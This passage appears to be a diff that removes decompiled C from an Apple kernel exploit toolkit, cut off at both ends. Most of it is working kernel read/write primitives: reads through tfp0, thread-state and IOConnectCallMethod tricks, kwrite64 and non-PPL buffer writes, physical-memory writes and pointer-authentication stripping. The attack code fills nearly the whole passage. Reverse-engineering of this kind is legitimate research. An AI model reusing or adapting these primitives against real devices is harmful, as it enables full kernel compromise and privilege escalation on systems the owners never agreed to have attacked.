LABEL_66; - v32 = *(_DWORD *)(v31 + 0x38); - v5 = 0xAD001LL; - if ( !v32 ) - goto LABEL_66; - v33 = *(_QWORD *)(v31 + 8); - v5 = 0xAD001LL; - if ( !v33 ) - goto LABEL_66; - v34 = (unsigned int)(v32 + 0x60); - v35 = *(_QWORD *)(v31 + 0x20); - v60 = v33 + v34; - physSize = v29; - v57 = v33 + v30; - v36 = (__int64 *)(v35 + v34); - v37 = 0xB; - while ( 1 ) - { - if ( v37 != 0xB ) - thread_switch(*(_DWORD *)(v31 + 0x30), 2, 0xAu); - if ( *(_QWORD *)(ctx + 0x158) > 0x27120F04B00002uLL && (*(_BYTE *)ctx & 0x20) != 0 ) - { - v68 = 0LL; - sub_38D60(ctx, v60, &v68, *(_DWORD *)(ctx + 0x168), 0); - if ( (_DWORD)v39 ) - goto LABEL_64; - if ( !validate_addr(ctx, v68) ) - goto LABEL_55; - v67 = 0LL; - sub_38D60(ctx, v57, &v67, *(_DWORD *)(ctx + 0x168), 0); - if ( (_DWORD)v39 ) - { -LABEL_64: - v5 = v39; - goto LABEL_65; - } - v38 = v67; - } - else - { - v68 = *v36; - if ( !validate_addr(ctx, v68) ) - goto LABEL_55; - v38 = *(_QWORD *)(v35 + v30); - v67 = v38; - } - if ( v38 == v68 ) - { - physAddr = sub_28CE0(ctx, v38, 0LL); - v29 = physSize; - if ( !physAddr ) - { - v5 = 0x28026LL; - goto LABEL_66; - } - v41 = physAddr; - if ( *(_QWORD *)(ctx + 0x158) > 0x27120F04B00002uLL && (*(_BYTE *)ctx & 0x20) != 0 ) - { - sub_38D60(ctx, physAddr + 0x34, &v65, 4u, 0); - v5 = v45; - if ( (_DWORD)v45 ) - goto LABEL_66; - v5 = 0x28011LL; - if ( v65 != 1 ) - goto LABEL_66; - if ( upcomingWriteBuf_ ) - { - v65 = upcomingWriteBuf_ + 1; - physwritebuf_idk_MAYBENOTSURE(ctx, v41 + 0x34, &v65, 4u, 0); - v5 = v46; - if ( (_DWORD)v46 ) - goto LABEL_66; - v47 = 1; - } - else - { - v47 = 2; - } - v66 = v47; - physwritebuf_idk_MAYBENOTSURE(ctx, v41 + 0x38, &v66, 4u, 0); - v5 = v52; - if ( !(_DWORD)v52 ) - { - physwritebuf_idk_MAYBENOTSURE(ctx, v60 + 0x18, &v70, *(_DWORD *)(ctx + 0x168), 0); - v5 = v53; - if ( !(_DWORD)v53 ) - { -LABEL_82: - v48 = *(_QWORD *)(v31 + 0x40); - if ( (unsigned int)((__int64 (__fastcall *)(uint64_t, uint64_t, uint64_t))__ulock_wake)( - 0x201uLL, - v31 + 0x34, - *(unsigned int *)(v31 + 0x30)) ) - { - v49 = *__error(); - if ( v49 < 0 ) - v49 = -v49; - v5 = v49 | 0x40000000u; - } - else if ( v48 == *(_QWORD *)(v31 + 0x40) ) - { - v50 = 0; - while ( v50 != 0x3E9 ) - { - v51 = v50 + 1; - thread_switch(*(_DWORD *)(v31 + 0x30), 2, v50 > 8); - v5 = 0LL; - v50 = v51; - v29 = physSize; - if ( v48 != *(_QWORD *)(v31 + 0x40) ) - goto LABEL_66; - } - v5 = 0x1001LL; - } - else - { - v5 = 0LL; - } - } - } - } - else - { - v5 = physmap_maybe(ctx, &address, physSize, physAddr); - if ( !(_DWORD)v5 ) - { - v42 = (*(_QWORD *)(ctx + 0x188) & v68) + address; - v65 = *(_DWORD *)(v42 + 0x34); - v5 = 0x28011LL; - if ( v65 == 1 ) - { - if ( upcomingWriteBuf_ ) - { - *(_DWORD *)(v42 + 0x34) = upcomingWriteBuf_ + 1; - v43 = 1; - } - else - { - v43 = 2; - } - v66 = v43; - *(_DWORD *)(v42 + 0x38) = v43; - v36[3] = v24; - goto LABEL_82; - } - } - } -LABEL_66: - if ( address ) - v44 = v29 == 0; - else - v44 = 1; - if ( !v44 ) - vm_deallocate(mach_task_self_, address, v29); - valueSize_ = valueSize__; - valueBuf = valueBuf__; - if ( (_DWORD)v5 ) - goto LABEL_99; -LABEL_72: - v19 = v19 - v62 + 4; - if ( v19 >= valueSize_ ) - { -LABEL_97: - v5 = 0LL; - goto LABEL_99; - } - goto LABEL_25; - } -LABEL_55: - if ( !--v37 ) - { - v5 = 0x28026LL; -LABEL_65: - v29 = physSize; - goto LABEL_66; - } - } - } - v5 = v25; -LABEL_99: - v54 = v64; -LABEL_100: - if ( v54 != 0xFFFFFFFF ) - fd_close(v54); - return v5; -} -// 292C0: variable 'v39' is possibly undefined -// 2942C: variable 'v45' is possibly undefined -// 2946C: variable 'v46' is possibly undefined -// 29530: variable 'v52' is possibly undefined -// 29554: variable 'v53' is possibly undefined - -//----- (00000000000295B4) ---------------------------------------------------- -bool __fastcall kread32_outptr(__int64 a1, unsigned __int64 a2, void *a3) -{ - __int64 (*v3)(void); // x8 - int v4; // w0 - int v5; // w0 - __int64 v7; // [xsp+8h] [xbp-8h] BYREF - - v3 = *(__int64 (**)(void))(a1 + 0x30); - if ( v3 ) - { - v4 = v3(); - goto LABEL_3; - } - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) - { - v4 = kreadbuf_via_dev_null_and_thread_state(); - } - else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) - { - v4 = kreadbuf_via_IOConnectCallMethod(a1, a2, (__int64)a3, 4u, 1); - } - else - { - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) - goto LABEL_22; - if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) - { - v4 = kreadbuf_via_dev_null_only(a1, a2, a3, 4LL, 1LL); - goto LABEL_3; - } - if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) - { -LABEL_22: - v5 = kreadbuf_via_tfp0(*(_DWORD *)(a1 + 0x1918), a2, 4uLL, *(unsigned int *)(a1 + 0x178), (__int64)a3, &v7); - return v5 == 0; - } - v4 = sub_25334((int *)a1, a2, a3, 4u, 1); - } -LABEL_3: - if ( v4 ) - v5 = 5; - else - v5 = 0; - return v5 == 0; -} -// 25E54: using guessed type __int64 __fastcall kreadbuf_via_dev_null_only(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); -// 296E8: using guessed type __int64 kreadbuf_via_dev_null_and_thread_state(void); - -//----- (00000000000296E8) ---------------------------------------------------- -__int64 __fastcall kreadbuf_via_dev_null_and_thread_state( - __int64 a1, - unsigned __int64 a2, - __int64 a3, - unsigned int a4, - int a5) -{ - __int64 v5; // x28 - unsigned __int64 v11; // x22 - unsigned int v12; // w8 - unsigned int v13; // w19 - __int64 v14; // x26 - unsigned __int64 v15; // x8 - int v16; // w9 - unsigned int v17; // w8 - unsigned __int64 v18; // x24 - unsigned __int64 v19; // x20 - __int64 v20; // x8 - size_t v21; // x26 - unsigned __int64 v22; // x21 - void *v23; // x27 - unsigned __int64 v24; // x22 - __int64 v25; // x8 - __int64 v26; // x9 - unsigned __int64 v27; // x8 - unsigned __int64 v28; // x19 - __int64 v29; // x25 - kern_return_t v30; // w0 - __int64 v31; // x25 - __int64 v32; // x19 - __int64 v33; // x25 - __int64 v34; // x0 - kern_return_t state; // w0 - unsigned int v36; // w19 - __int64 v37; // x0 - unsigned int v38; // w0 - unsigned int v39; // w8 - unsigned __int64 v40; // [xsp+8h] [xbp-2B8h] - __int64 v41; // [xsp+10h] [xbp-2B0h] - unsigned int v42; // [xsp+1Ch] [xbp-2A4h] - int v43; // [xsp+20h] [xbp-2A0h] - __int64 v44; // [xsp+28h] [xbp-298h] - unsigned __int64 v45; // [xsp+30h] [xbp-290h] - int v46; // [xsp+38h] [xbp-288h] BYREF - mach_msg_type_number_t v47; // [xsp+3Ch] [xbp-284h] BYREF - natural_t old_state[134]; // [xsp+40h] [xbp-280h] BYREF - __int64 v49; // [xsp+258h] [xbp-68h] BYREF - mach_msg_type_number_t old_stateCnt[4]; // [xsp+260h] [xbp-60h] BYREF - - v5 = 0xAD001LL; - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 ) - { - if ( *(_QWORD *)(a1 + 0xD8) ) - { - v11 = a2; - if ( validate_addr_maybe2(a1, a2) ) - { - v46 = 0xFFFFFFFF; - if ( !a5 || (v5 = fd_open_dev_null(&v46), !(_DWORD)v5) ) - { - if ( a4 ) - { - v12 = 0; - v42 = a4; - v40 = v11; - v41 = a3; - while ( 1 ) - { - v13 = a4 - v12; - v14 = v12; - v45 = v11 + v12; - if ( (*(_QWORD *)(a1 + 0x188) & v45) == 0 && v13 >= 0x4000 && sub_25734(a1) ) - { - v15 = *(_QWORD *)(a1 + 0x158); - if ( v15 <= 0x1F530F027FFFFFLL ) - v16 = 0x4000; - else - v16 = 0x80000; - if ( v15 <= 0x2711FFFFFFFFFFLL ) - v17 = v16; - else - v17 = 0x210; - if ( v13 >= v17 ) - v18 = v17; - else - v18 = v13; - v5 = sub_26204(a1, v45, a3 + v14, v18); -LABEL_68: - if ( (_DWORD)v5 ) - goto LABEL_72; - goto LABEL_69; - } - if ( v13 >= 0x210 ) - v18 = 0x210LL; - else - v18 = v13; - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) < 2 || !*(_QWORD *)(a1 + 0xD8) ) - { - v5 = 0xAD001LL; - goto LABEL_72; - } - if ( (_DWORD)v18 ) - break; -LABEL_69: - v12 = v18 + v14; - if ( (int)v18 + (int)v14 >= a4 ) - goto LABEL_70; - } - v19 = 0LL; - v20 = v14; - v21 = 0LL; - v43 = v20; - v44 = a3 + v20; - while ( 1 ) - { - v22 = v19 + v45; - v23 = (void *)(v19 + v44); - v24 = v18 - v19; - if ( *(_QWORD *)(a1 + 0x158) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) - { - *(_QWORD *)old_stateCnt = 0LL; - v47 = 0x84; - v31 = *(_QWORD *)(a1 + 0x188); - if ( (v31 & v22) >= (unsigned __int64)*(unsigned int *)(a1 + 0x180) - 0x210 ) - v32 = *(unsigned int *)(a1 + 0x180) - 0x210LL; - else - v32 = v31 & v22; - if ( validate_addr(a1, *(_QWORD *)(a1 + 0xE0)) ) - { - *(_QWORD *)old_stateCnt = *(_QWORD *)(a1 + 0xE0); - goto LABEL_45; - } - sub_38D60(a1, *(_QWORD *)(a1 + 0xD8), old_stateCnt, 8u, 0); - v5 = v37; - if ( !(_DWORD)v37 ) - { - *(_QWORD *)(a1 + 0xE0) = *(_QWORD *)old_stateCnt; -LABEL_45: - v33 = v32 + (v22 & ~v31); - __dsb(0xBu); - v49 = v33 - 0x10; - physwritebuf_idk_MAYBENOTSURE(a1, *(_QWORD *)(a1 + 0xD8), &v49, 8u, 0); - v5 = v34; - if ( !(_DWORD)v34 ) - { - state = thread_get_state(*(_DWORD *)(a1 + 0xAC), 0x11, old_state, &v47); - if ( state ) - { - v36 = state | 0x80000000; - } - else if ( v47 == 0x84 ) - { - if ( v33 - v22 + 0x210 <= v24 ) - v21 = v33 - v22 + 0x210; - else - v21 = v18 - v19; - memcpy(v23, (char *)old_state + v22 - v33, v21); - v36 = 0; - } - else - { - v36 = 0xAD022; - } - physwritebuf_idk_MAYBENOTSURE(a1, *(_QWORD *)(a1 + 0xD8), old_stateCnt, 8u, 0); - if ( v36 ) - v39 = v36; - else - v39 = v38; - if ( v38 ) - v5 = v39; - else - v5 = v36; - } - } - } - else - { - old_stateCnt[0] = 0x84; - v25 = *(_QWORD *)(a1 + 0x188); - v26 = v22 & ~v25; - v27 = v25 & v22; - if ( v27 >= (unsigned __int64)*(unsigned int *)(a1 + 0x180) - 0x210 ) - v27 = *(unsigned int *)(a1 + 0x180) - 0x210LL; - v28 = v27 + v26; - v29 = **(_QWORD **)(a1 + 0xC8); - __dsb(0xBu); - **(_QWORD **)(a1 + 0xC8) = v27 + v26 - 0x10; - v30 = thread_get_state(*(_DWORD *)(a1 + 0xAC), 0x11, old_state, old_stateCnt); - if ( v30 ) - { - v5 = v30 | 0x80000000; - } - else if ( old_stateCnt[0] == 0x84 ) - { - if ( v28 - v22 + 0x210 <= v24 ) - v21 = v28 - v22 + 0x210; - else - v21 = v18 - v19; - memcpy(v23, (char *)old_state + v22 - v28, v21); - v5 = 0LL; - } - else - { - v5 = 0xAD022LL; - } - **(_QWORD **)(a1 + 0xC8) = v29; - } - if ( !(_DWORD)v5 ) - { - v19 += v21; - if ( v19 < v18 ) - continue; - } - a4 = v42; - v11 = v40; - a3 = v41; - LODWORD(v14) = v43; - goto LABEL_68; - } - } -LABEL_70: - v5 = 0LL; -LABEL_72: - if ( v46 != 0xFFFFFFFF ) - fd_close(v46); - } - } - } - } - return v5; -} -// 2999C: variable 'v34' is possibly undefined -// 29A04: variable 'v37' is possibly undefined -// 29A7C: variable 'v38' is possibly undefined -// 26204: using guessed type __int64 __fastcall sub_26204(_QWORD, _QWORD, _QWORD, _QWORD); - -//----- (0000000000029AD0) ---------------------------------------------------- -__int64 __fastcall kreadbuf_via_tfp0( - vm_map_read_t target_task, - __int64 a2, - mach_vm_size_t a3, - mach_vm_size_t a4, - __int64 a5, - _QWORD *a6) -{ - mach_vm_size_t v8; // x21 - __int64 v11; // x24 - mach_vm_size_t v12; // x25 - mach_vm_size_t v13; // x2 - __int64 result; // x0 - mach_vm_size_t outsize; // [xsp+8h] [xbp-48h] BYREF - - if ( !a3 ) - return 4LL; - v8 = a3; - v11 = 0LL; - if ( a4 ) - v12 = a4; - else - v12 = a3; - while ( 1 ) - { - outsize = v8; - v13 = v8 >= v12 ? v12 : v8; - result = mach_vm_read_overwrite(target_task, v11 + a2, v13, v11 + a5, &outsize); - if ( (_DWORD)result ) - break; - v11 = (unsigned int)(outsize + v11); - v8 -= outsize; - if ( !v8 ) - { - result = 0LL; - if ( a6 ) - *a6 = v11; - return result; - } - } - return result; -} - -//----- (0000000000029B78) ---------------------------------------------------- -bool __fastcall kread64_internal(__int64 a1, unsigned __int64 a2, _QWORD *a3) -{ - __int64 (__fastcall *v3)(__int64, unsigned __int64, _QWORD *, _QWORD, __int64); // x8 - int v4; // w0 - int v5; // w0 - __int64 v7; // [xsp+8h] [xbp-8h] BYREF - - *a3 = 0LL; - v3 = *(__int64 (__fastcall **)(__int64, unsigned __int64, _QWORD *, _QWORD, __int64))(a1 + 0x30); - if ( v3 ) - { - v4 = v3(a1, a2, a3, *(unsigned int *)(a1 + 0x168), 1LL); - goto LABEL_3; - } - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) - { - v4 = kreadbuf_via_dev_null_and_thread_state(a1, a2, (__int64)a3, *(_DWORD *)(a1 + 0x168), 1); - } - else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) - { - v4 = kreadbuf_via_IOConnectCallMethod(a1, a2, (__int64)a3, *(_DWORD *)(a1 + 0x168), 1); - } - else - { - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) - goto LABEL_22; - if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) - { - v4 = kreadbuf_via_dev_null_only(a1, a2, (__int64)a3, *(_DWORD *)(a1 + 0x168), 1); - goto LABEL_3; - } - if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) - { -LABEL_22: - v5 = kreadbuf_via_tfp0( - *(_DWORD *)(a1 + 0x1918), - a2, - *(int *)(a1 + 0x168), - *(unsigned int *)(a1 + 0x178), - (__int64)a3, - &v7); - return v5 == 0; - } - v4 = sub_25334((int *)a1, a2, a3, *(_DWORD *)(a1 + 0x168), 1); - } -LABEL_3: - if ( v4 ) - v5 = 5; - else - v5 = 0; - return v5 == 0; -} - -//----- (0000000000029CB0) ---------------------------------------------------- -unsigned __int64 __fastcall sub_29CB0(_DWORD *a1, __int64 a2) -{ - __int64 vars8; // [xsp+28h] [xbp+8h] - - if ( !krw_ctx_has_flag(a1, 0x5584001) || (*a1 & 0x5584001) == 0 ) - return a2; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return krw_xpac_vaddr((__int64)a1, a2); -} -// 29D08: variable 'vars8' is possibly undefined - -//----- (0000000000029D2C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_29D2C(_DWORD *a1, __int64 a2) -{ - __int64 vars8; // [xsp+18h] [xbp+8h] - - if ( !krw_ctx_has_flag(a1, 0x5584001) ) - return a2; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return krw_xpac_vaddr((__int64)a1, a2); -} -// 29D68: variable 'vars8' is possibly undefined - -//----- (0000000000029D88) ---------------------------------------------------- -unsigned __int64 __fastcall krw_xpac_vaddr(__int64 a1, __int64 a2) -{ - __int64 v2; // x19 - - v2 = a2; - if ( a2 && (a2 & 0x80000000000000LL) != 0 ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 8) - || krw_ctx_has_flag((_DWORD *)a1, 0x5000000) && *(_QWORD *)(a1 + 0x158) >= 0x22580A06C00000uLL ) - { - return v2 | 0xFFFF800000000000LL; - } - else - { - return v2 | 0xFFFFFF8000000000LL; - } - } - return v2; -} - -//----- (0000000000029DF8) ---------------------------------------------------- -bool __fastcall kwrite64_last_arg(__int64 a1, mach_vm_address_t address, __int64 a3, int a4) -{ - __int64 (__fastcall *v6)(__int64, mach_vm_address_t, __int64 *, _QWORD, __int64); // x8 - int v7; // w0 - kern_return_t v8; // w21 - __int64 v10; // x23 - semaphore_t v11; // w0 - int v12; // w21 - vm_map_t v13; // w0 - mach_vm_size_t v14; // x2 - __int64 v16; // x9 - int v17; // w8 - _QWORD *v18; // x20 - kern_return_t v19; // w0 - mach_timespec_t v20; // x1 - kern_return_t v21; // w0 - __int64 v22; // [xsp+8h] [xbp-48h] BYREF - __int64 v23; // [xsp+10h] [xbp-40h] BYREF - vm_machine_attribute_val_t value[2]; // [xsp+18h] [xbp-38h] BYREF - - v22 = a3; - v6 = *(__int64 (__fastcall **)(__int64, mach_vm_address_t, __int64 *, _QWORD, __int64))(a1 + 0x40); - if ( v6 ) - { - v7 = v6(a1, address, &v22, *(unsigned int *)(a1 + 0x168), 1LL); - goto LABEL_3; - } - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) - { - *(_QWORD *)value = a3; - if ( !*(_QWORD *)(a1 + 0x1D48) ) - { - v8 = 5; - return v8 == 0; - } - v7 = sub_28F90(a1, address, value, *(unsigned int *)(a1 + 0x168), 1LL); - goto LABEL_3; - } - if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) - { - v7 = sub_271B0(a1, address, (__int64)&v22, *(_DWORD *)(a1 + 0x168), 1); - goto LABEL_3; - } - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) - goto LABEL_27; - if ( *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF || !*(_QWORD *)(a1 + 0x218) ) - { - if ( *(_DWORD *)(a1 + 0x1938) != 0xFFFFFFFF && *(_DWORD *)(a1 + 0x193C) != 0xFFFFFFFF ) - { - v7 = sub_25498((int *)a1, address, &v22, *(_DWORD *)(a1 + 0x168), 1); - goto LABEL_3; - } -LABEL_27: - v8 = mach_vm_write(*(_DWORD *)(a1 + 0x1918), address, (vm_offset_t)&v22, *(_DWORD *)(a1 + 0x168)); - v13 = *(_DWORD *)(a1 + 0x1918); - v14 = *(int *)(a1 + 0x168); - value[0] = 7; - mach_vm_machine_attribute(v13, address, v14, 1u, value); - return v8 == 0; - } - v23 = a3; - if ( a4 ) - { - v7 = sub_251A4(a1, 1u, 0x2710u); - if ( v7 ) - goto LABEL_3; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) - { - v12 = sub_2B5BC(a1); - goto LABEL_32; - } - *(_QWORD *)value = a3; - v10 = *(_QWORD *)(a1 + 0x28); - if ( !v10 || (v11 = *(_DWORD *)(v10 + 8), v11 + 1 < 2) ) - { - v12 = 0xAD001; - goto LABEL_32; - } - v12 = 0xAD001; - if ( (unsigned int)(*(_DWORD *)(v10 + 0xC) + 1) >= 2 ) - { - *(_QWORD *)(v10 + 0x20) = address; - v18 = (_QWORD *)(v10 + 0x20); - *(_QWORD *)(v10 + 0x28) = value; - *(_QWORD *)(v10 + 0x30) = 8LL; - v19 = semaphore_signal(v11); - if ( v19 ) - { - v12 = v19 | 0x80000000; -LABEL_41: - *v18 = 0LL; - *(_QWORD *)(v10 + 0x28) = 0LL; - *(_QWORD *)(v10 + 0x30) = 0LL; - goto LABEL_32; - } - v20 = (mach_timespec_t)3LL; - v21 = semaphore_timedwait(*(_DWORD *)(v10 + 0xC), v20); - v12 = *(_DWORD *)(v10 + 0x3C); - if ( !v12 ) - { - if ( v21 ) - v12 = v21 | 0x80000000; - else - v12 = 0; - goto LABEL_41; - } - *v18 = 0LL; - *(_QWORD *)(v10 + 0x28) = 0LL; - *(_QWORD *)(v10 + 0x30) = 0LL; - sub_26B00(a1, 0); - } -LABEL_32: - v16 = *(_QWORD *)(a1 + 0x118); - v17 = 0xAD008; - if ( v16 && *(_QWORD *)(a1 + 0x120) ) - { - v17 = 0; - atomic_store(0, (unsigned __int8 *)(v16 + 1)); - } - if ( v12 ) - v7 = v12; - else - v7 = v17; - goto LABEL_3; - } - v7 = sub_268F8(a1, address, (__int64)&v23, *(_DWORD *)(a1 + 0x168), 1); -LABEL_3: - if ( v7 ) - v8 = 5; - else - v8 = 0; - return v8 == 0; -} -// 28F90: using guessed type __int64 __fastcall sub_28F90(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); - -//----- (000000000002A0D0) ---------------------------------------------------- -bool __fastcall kwrite64(__int64 a1, mach_vm_address_t a2, __int64 a3) -{ - return kwrite64_last_arg(a1, a2, a3, *(unsigned __int8 *)(a1 + 0xC)); -} - -//----- (000000000002A0D8) ---------------------------------------------------- -__int64 __fastcall sub_2A0D8(__int64 a1, __int64 a2, __int64 a3) -{ - int v6; // w0 - int v7; // w0 - __int64 v8; // x8 - __int64 v9; // x20 - _BYTE v11[32]; // [xsp+8h] [xbp-88h] BYREF - __int64 v12; // [xsp+28h] [xbp-68h] - _OWORD v13[3]; // [xsp+30h] [xbp-60h] BYREF - __int64 v14; // [xsp+60h] [xbp-30h] - - v14 = 0LL; - memset(v13, 0, sizeof(v13)); - sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 0x188), (__int64)v11); - if ( !v6 ) - return 0LL; - v7 = physwrite_maybe(a1, v12 & 0xFFFFFFFFC000LL, (__int64)v13); - v8 = *(_QWORD *)&v13[0]; - if ( v7 ) - { - v9 = 0LL; - if ( !*(_QWORD *)&v13[0] ) - return v9; - goto LABEL_7; - } - *(_QWORD *)((*(_QWORD *)(a1 + 0x188) & a2) + *(_QWORD *)&v13[0]) = a3; - v9 = 1LL; - if ( v8 ) -LABEL_7: - sub_38BCC(a1, (__int64)v13); - return v9; -} -// 2A11C: variable 'v6' is possibly undefined - -//----- (000000000002A188) ---------------------------------------------------- -__int64 __fastcall kwritebuf_last_1(__int64 a1, __int64 a2, __int64 a3, __int64 a4) -{ - return noppl_kwritebuf(a1, a2, a3, a4, 1LL); -} -// 2A488: using guessed type __int64 __fastcall noppl_kwritebuf(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); - -//----- (000000000002A190) ---------------------------------------------------- -unsigned __int64 __fastcall sub_2A190(__int64 a1, unsigned int a2) -{ - __int64 v2; // x19 - unsigned __int64 result; // x0 - __int64 v4; // x8 - __int64 v5; // x9 - int v6; // [xsp+Ch] [xbp-14h] BYREF - - v2 = a2; - if ( !a2 ) - return 0LL; - if ( (a2 & 0x80000000) != 0 ) - { - v4 = *(_QWORD *)(a1 + 0x1F0); - if ( v4 ) - { - v5 = *(unsigned int *)(a1 + 0x1F8); - if ( (_DWORD)v5 ) - return v4 + (a2 & 0x7FFFFFFF) * v5; - } - return 0LL; - } - result = sub_35A50(a1, 0, &v6); - if ( result ) - result += v2 << v6; - return result; -} - -//----- (000000000002A200) ---------------------------------------------------- -unsigned __int64 __fastcall sub_2A200(__int64 a1, unsigned __int64 a2, _DWORD *a3) -{ - bool v6; // cc - _BOOL4 v7; // w9 - unsigned __int64 v8; // x8 - unsigned __int64 v9; // x11 - char v10; // w12 - __int64 v11; // x10 - __int64 v12; // x13 - __int64 v13; // x13 - __int64 v14; // x12 - __int64 v15; // x12 - __int64 v16; // x9 - unsigned __int64 v17; // x8 - - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 8) || krw_ctx_has_flag((_DWORD *)a1, 0x5000000) ) - { - v6 = *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL; - v7 = v6; - v8 = 0xFFFF9FFFFFFFFFF0LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL ) - v8 = 0xFFFFFFFFFFFFFFE0LL; - v9 = 0xFFFFBFFFFFFFC000LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL ) - { - v10 = 0x2E; - } - else - { - v9 = 0xFFFF9FFFFFFFC000LL; - v10 = 0x2D; - } - v11 = 0x600000000000LL; - v12 = 0x400000000000LL; - } - else - { - v6 = *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL; - v7 = v6; - v8 = 0xFFFFFF9FFFFFFFF0LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL ) - v8 = 0xFFFFFFFFFFFFFFE0LL; - v9 = 0xFFFFFFBFFFFFC000LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x225814018FFFFFuLL ) - { - v10 = 0x26; - } - else - { - v9 = 0xFFFFFF9FFFFFC000LL; - v10 = 0x25; - } - v11 = 0x6000000000LL; - v12 = 0x4000000000LL; - } - if ( v6 ) - v11 = v12; - v13 = 3LL; - if ( v7 ) - v13 = 1LL; - v14 = v13 & (a2 >> v10); - if ( v14 ) - { - v15 = v14 << (a2 & 0xF); - if ( v7 ) - v16 = (a2 & 0x10 | 0x20) << (a2 & 0xF); - else - LODWORD(v16) = v15; - } - else - { - LODWORD(v16) = ((_DWORD)a2 << 0xE) & 0xFFFC000; - v8 = v9; - } - *a3 = v16; - return v8 & a2 | v11; - } - else - { - v17 = HIWORD(a2); - if ( (a2 & 0x800000000000LL) != 0 ) - LODWORD(v17) = HIWORD(a2) << 0xE; - *a3 = v17; - return a2 | 0xFFFF800000000000LL; - } -} - -//----- (000000000002A360) ---------------------------------------------------- -bool __fastcall kreadbuf(__int64 a1, unsigned __int64 a2, mach_vm_size_t a3, void *a4, __int64 a5) -{ - __int64 (*v5)(void); // x9 - int v6; // w0 - int v7; // w0 - - v5 = *(__int64 (**)(void))(a1 + 0x30); - if ( v5 ) - { - v6 = v5(); - goto LABEL_3; - } - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) - { - v6 = kreadbuf_via_dev_null_and_thread_state(a1, a2, (__int64)a4, a3, a5); - } - else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) - { - v6 = kreadbuf_via_IOConnectCallMethod(a1, a2, (__int64)a4, a3, a5); - } - else - { - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) - goto LABEL_22; - if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) - { - v6 = kreadbuf_via_dev_null_only(a1, a2, a4, a3, a5); - goto LABEL_3; - } - if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) - { -LABEL_22: - v7 = kreadbuf_via_tfp0(*(_DWORD *)(a1 + 0x1918), a2, a3, *(unsigned int *)(a1 + 0x178), (__int64)a4, 0LL); - return v7 == 0; - } - v6 = sub_25334((int *)a1, a2, a4, a3, a5); - } -LABEL_3: - if ( v6 ) - v7 = 5; - else - v7 = 0; - return v7 == 0; -} -// 25E54: using guessed type __int64 __fastcall kreadbuf_via_dev_null_only(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); - -//----- (000000000002A480) ---------------------------------------------------- -bool __fastcall kreadbuf_last_0(__int64 a1, unsigned __int64 a2, mach_vm_size_t a3, void *a4) -{ - return kreadbuf(a1, a2, a3, a4, 0LL); -} - -//----- (000000000002A488) ---------------------------------------------------- -bool __fastcall noppl_kwritebuf(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4, int a5) -{ - __int64 (*v5)(void); // x8 - int v6; // w0 - int v7; // w0 - - v5 = *(__int64 (**)(void))(a1 + 0x40); - if ( v5 ) - { - v6 = v5(); - goto LABEL_3; - } - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && 